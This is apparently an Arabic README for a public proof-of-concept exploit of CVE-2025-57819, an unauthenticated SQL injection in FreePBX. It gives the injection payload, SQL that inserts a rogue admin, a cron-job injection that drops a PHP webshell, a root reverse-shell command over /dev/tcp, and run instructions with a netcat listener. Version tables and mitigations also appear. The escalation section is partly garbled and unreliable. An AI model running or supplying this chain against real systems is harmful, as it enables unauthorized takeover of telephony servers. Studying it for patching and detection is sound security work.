
إثبات مفهوم بلغة Python يستغل CVE-2025-57819، وهو حقن SQL غير مُصادَق عليه في FreePBX يتسلسل عبر إنشاء حساب مسؤول، ونشر webshell عبر cron، والتصعيد إلى صلاحيات الجذر.
للأغراض التعليمية والبحث الأمني فقط - راجع الإشعار القانوني أدناه
إثبات مفهوم للاستغلال (PoC) لثغرة CVE-2025-57819، وهي ثغرة حقن SQL حرجة غير مُصادَق عليها في FreePBX تسمح بتنفيذ تعليمات برمجية عن بُعد. يُنشر هذا الـ PoC بعد إصدار التصحيحات الرسمية لأغراض البحث الأمني والاختبار المُصرَّح به فقط.
إصدارات FreePBX 15.x و16.x و17.x (الأقدم من الإصدارات المُصحَّحة) عرضة لثغرة حقن SQL غير مُصادَق عليها في معالج AJAX الخاص بوحدة endpoint. تسمح سلسلة الثغرات هذه بما يلي:
| معرّف CVE | CVE-2025-57819 |
| النوع | حقن SQL غير مُصادَق عليه (قائم على الأخطاء) |
| CVSS | 9.8 / 10.0 (حرجة) |
| المتأثرة | FreePBX 15 < 15.0.66، 16 < 16.0.89، 17 < 17.0.3 |
| المُصحَّحة | 15.0.66، 16.0.89، 17.0.3+ |
| CISA KEV | نعم (29 أغسطس 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
تقبل المعلمة brand في معالج AJAX الخاص بوحدة نقطة النهاية إدخال المستخدم دون التحقق منه، مما يؤدي إلى حقن SQL قائم على الأخطاء.
تحقق من حقن SQL باستخدام استخراج قائم على الأخطاء عبر EXTRACTVALUE() لتسريب اسم قاعدة البيانات:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
إدراج مستخدم إداري جديد في asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
باستخدام بيانات اعتماد مسؤول صالحة، يقوم الاستغلال بالمصادقة إلى FreePBX وإنشاء جلسة موثّقة. تُحفظ ملفات تعريف ارتباط الجلسة وتُستخدم لجميع الطلبات الموثّقة اللاحقة.
حقن أمر webshell في asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
يقوم مشغّل cron الخاص بـ FreePBX بتنفيذ الأمر بصفة المستخدم asterisk، مما يُسقط PHP webshell.
يُنشر PHP webshell إلى /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
يستقصي الـ exploit الـ webshell حتى التفعيل، محققًا RCE بصلاحية مستخدم asterisk (uid=999).
إذا كان incron مُهيأً على الهدف:
/var/spool/asterisk/incron/incrond (العامل بصلاحية root) إنشاء الملف/usr/bin/sysadmin_manager باسم ملف الـ triggersysadmin_manager من توقيع GPG ويوجّه إلى hook الخاص بـ fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1النتيجة: shell بصلاحية root على مستمع عكسي (إذا كان incron متاحًا).
brandasterisk.cron_jobs القابل للكتابة ينفّذ الأوامر بصلاحية asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| الإصدار | الحالة |
|---|---|
| 15.0.0 - 15.0.65 | عرضة للثغرة |
| 15.0.66+ | مُصحَّح |
| 16.0.0 - 16.0.88 | عرضة للثغرة |
| 16.0.89+ | مُصحَّح |
| 17.0.0 - 17.0.2 | عرضة للثغرة |
| 17.0.3+ | مُصحَّح |
فوري:
/admin/ajax.php من الشبكات غير الموثوقةsystemctl disable incrondدائم: الترقية إلى الإصدارات المُصحَّحة: 15.0.66+ أو 16.0.89+ أو 17.0.3+
⚠️ إخلاء المسؤولية
يُقدَّم إثبات المفهوم هذا حصريًا لأغراض اختبار الأمان المصرَّح به والأغراض التعليمية. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
يجب عليك الامتثال لما يلي:
الاستخدامات المحظورة:
إخلاء المسؤولية: المؤلف غير مسؤول عن:
هذه الثغرة:
JazzTheRabbit
MIT License